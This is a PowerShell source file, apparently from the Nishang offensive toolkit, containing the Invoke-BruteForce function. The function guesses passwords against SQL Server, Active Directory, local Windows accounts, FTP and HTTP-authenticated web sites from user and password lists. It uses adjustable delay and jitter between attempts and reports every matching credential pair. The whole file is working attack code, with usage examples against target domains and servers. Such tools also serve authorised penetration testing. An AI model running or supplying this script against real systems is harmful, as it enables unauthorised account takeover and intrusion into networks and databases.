function Invoke-BruteForce
{
  <#
.SYNOPSIS
Nishang payload which performs a Brute-Force Attack against SQL Server, Active Directory, Local Accounts, Web and FTP.

.DESCRIPTION
This payload can brute force credentials for SQL Server, ActiveDirectory, LocalAccounts, Web or FTP.

.PARAMETER Computername
Specifies a SQL Server, Domain, Computer, FTP Site or Web Site.

.PARAMETER UserList
Specify a list of users. If blank, trusted connection will be used for SQL and an error will be genrated for other services.

.PARAMETER PasswordList
Specify a list of passwords.

.PARAMETER Service
Enter a Service from SQL, ActiveDirecotry, LocalAccounts, FTP and Web. Default service is set to SQL.

.PARAMETER StopOnSuccess
Use this switch to stop the brute forcing on the first success.

.PARAMETER Delay
Delay between brute-force attempts, defaults to 0.

.PARAMETER Jitter
Jitter for the brute-force attempt delay, defaults to +/- 0.3 

.EXAMPLE
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose
Brute force a SQL Server SQLServ01 for users listed in users.txt and passwords in wordlist.txt

.EXAMPLE
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose
Brute force a Domain Controller of targetdomain.com for users listed in users.txt and passwords in wordlist.txt.
Since StopOnSuccess is specified, the brute forcing stops on first success.

.EXAMPLE
PS > Invoke-BruteForce -ComputerName targetmachine -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service LocalAccounts -StopOnSuccess -Verbose
Brute force the local mahcine for local users listed in users.txt and passwords in wordlist.txt.
Since StopOnSuccess is specified, the brute forcing stops on first success.

.EXAMPLE
PS > cat C:\test\servers.txt | Invoke-BruteForce -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose
Brute force SQL Service on all the servers specified in servers.txt

.LINK
http://www.truesec.com
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/03/use-powershell-to-security-test-sql-server-and-sharepoint.aspx
https://github.com/samratashok/nishang

.NOTES
Goude 2012, TreuSec
#>
    [CmdletBinding()] Param(
        [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
        [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
        [String]
        $ComputerName,

        [Parameter(Position = 1, Mandatory = $true)]
        [Alias('Users')]
        [String]
        $UserList,

        [Parameter(Position = 2, Mandatory = $true)]
        [Alias('Passwords')]
        [String]
        $PasswordList,

        [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("SQL","FTP","ActiveDirectory","LocalAccounts","Web")]
        [String]
        $Service = "SQL",

        [Parameter(Position = 4, Mandatory = $false)]
        [Switch]
        $StopOnSuccess,
        
        [Parameter(Position = 5, Mandatory = $false)]
        [Double]
        $Jitter = .3,

        [Parameter(Position = 6, Mandatory = $false)]
        [UInt32]
        $Delay = 0
    )

    Process
    {
        Write-Verbose "Starting Brute-Force with a Delay of $Delay and Jitter $Jitter."
        
        $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
        $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
        if (!$usernames) { 
            $usernames = $UserList
            Write-Verbose "UserList file does not exist. Using UserList as usernames:"
            Write-Verbose $usernames
        }
        if (!$passwords) {
            $passwords = $PasswordList
            Write-Verbose "PasswordList file does not exist. Using PasswordList as passwords:"
            Write-Verbose $passwords
        }

        $RandNo = New-Object System.Random

        #Brute force SQL Server
        $Connection = New-Object System.Data.SQLClient.SQLConnection
        function CheckForSQLSuccess
        {
            Try
            {
                $Connection.Open()
                $success = $true
            }
            Catch
            {
                $success = $false
            }
            if($success -eq $true)
            {
                Write-Output "Match found! $username : $Password"
                switch ($connection.ServerVersion) {
                    { $_ -match "^6" } { "SQL Server 6.5";Break UsernameLoop }
                    { $_ -match "^7" } { "SQL Server 7";Break UsernameLoop }
                    { $_ -match "^8" } { "SQL Server 2000";Break UsernameLoop }
                    { $_ -match "^9" } { "SQL Server 2005";Break UsernameLoop }
                    { $_ -match "^10\.00" } { "SQL Server 2008";Break UsernameLoop }
                    { $_ -match "^10\.50" } { "SQL Server 2008 R2";Break UsernameLoop }
                    { $_ -match "^11" } { "SQL Server 2012";Break UsernameLoop }
                    { $_ -match "^12" } { "SQL Server 2014";Break UsernameLoop }
                    { $_ -match "^13" } { "SQL Server 2016";Break UsernameLoop }
                    { $_ -match "^14" } { "SQL Server 2017";Break UsernameLoop }
                    Default { "Unknown" }
                }
            }
            $Connection.Close()
            # Shamelessly stolen from https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
            Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
        }
        if($service -eq "SQL")
        {
            Write-Output "Brute Forcing SQL Service on $ComputerName"
            if($userList)
            {
                :UsernameLoop foreach ($username in $usernames)
                {
                    foreach ($Password in $Passwords)
                    {
                        $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;"
                        Write-Verbose "Checking $userName : $password"
                        $success = CheckForSQLSuccess
                        if ($success)
                        {
                            Write-Output "Match found! $username : $password"
                            if ($StopOnSuccess)
                            {
                                break UsernameLoop
                            }
                        }
                    }
                }
            }
            else
            {
                #If no username is provided, use trusted connection
                $Connection.ConnectionString = "server=$identity;Initial Catalog=Master;trusted_connection=true;"
                CheckForSQLSuccess

            }
        }

        #Brute Force FTP
        elseif ($service -eq "FTP")
        {
            if($ComputerName -notMatch "^ftp://")
            {
                $source = "ftp://" + $ComputerName
            }
            else
            {
                $source = $ComputerName
            }
            Write-Output "Brute Forcing FTP on $ComputerName"

            :UsernameLoop foreach ($username in $usernames)
            {
                foreach ($Password in $Passwords)
                {
                    try
                    {
                        $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                        $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                        Write-Verbose "Checking $userName : $password"
                        $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
                        $result = $ftpRequest.GetResponse()
                        $message = $result.BannerMessage + $result.WelcomeMessage
                        Write-Output "Match found! $username : $Password"
                        $success = $true
                        if ($StopOnSuccess)
                        {
                            break UsernameLoop
                        }
                    }

                    catch
                    {
                        $message = $error[0].ToString()
                        $success = $false
                    }

                    # Shamelessly stolen from https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
                    Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
                }
            }
        }

        #Brute Force Active Directory
        elseif ($service -eq "ActiveDirectory" -or $service -eq "LocalAccounts")
        {
	    if ($service -eq "ActiveDirectory")
	    {
	        Write-Output "Brute Forcing Active Directory $ComputerName"
                $contextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
	    }
	    else
	    {
	        Write-Output "Brute Forcing Local Accounts $ComputerName"
                $contextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine
	    }
            Add-Type -AssemblyName System.DirectoryServices.AccountManagement
            Try
            {
                $principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($contextType, $ComputerName)
                $success = $true
            }
            Catch
            {
                $message = "Unable to contact Domain"
                $success = $false
            }
            if($success -ne $false)
            {
                :UsernameLoop foreach ($username in $usernames)
                {
                    foreach ($password in $passwords)
                    {
                        $SleepSeconds = $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
                        Try
                        {
                            Write-Verbose "Checking $username : $password (then sleeping for $SleepSeconds seconds)"
                            $success = $principalContext.ValidateCredentials($username, $password)
                            $message = "Password Match"
                            if ($success -eq $true)
                            {
                                Write-Output "Match found! $username : $password"
                                if ($StopOnSuccess)
                                {
                                    break UsernameLoop
                                }
                            }
                        }
                        Catch
                        {
                            $success = $false
                            $message = "Password doesn't match"
                        }

                        # Shamelessly stolen from https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
                        Start-Sleep -Seconds $SleepSeconds
                    }
                }
            }
            else {
            Write $message    
            }
        }
        #Brute Force Web
        elseif ($service -eq "Web")
        {
            if ($ComputerName -notMatch "^(http|https)://")
            {
                $source = "http://" + $ComputerName
            }
            else
            {
                $source = $ComputerName
            }
            :UsernameLoop foreach ($username in $usernames)
            {
                foreach ($Password in $Passwords)
                {
                    $webClient = New-Object Net.WebClient
                    $securePassword = ConvertTo-SecureString -AsPlainText -String $password -Force
                    $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $userName, $securePassword
                    $webClient.Credentials = $credential
                    Try
                    {
                        Write-Verbose "Checking $userName : $password"
                        $source
                        $webClient.DownloadString($source)
                        $success = $true
                        $success
                        if ($success -eq $true)
                        {
                            Write-Output "Match found! $Username : $Password"
                            if ($StopOnSuccess)
                            {
                                break UsernameLoop
                            }
                        }
                    }
                    Catch
                    {
                        $success = $false
                        $message = "Password doesn't match"
                    }
                    # Shamelessly stolen from https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
                    Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
                }
            }
        }
    }
}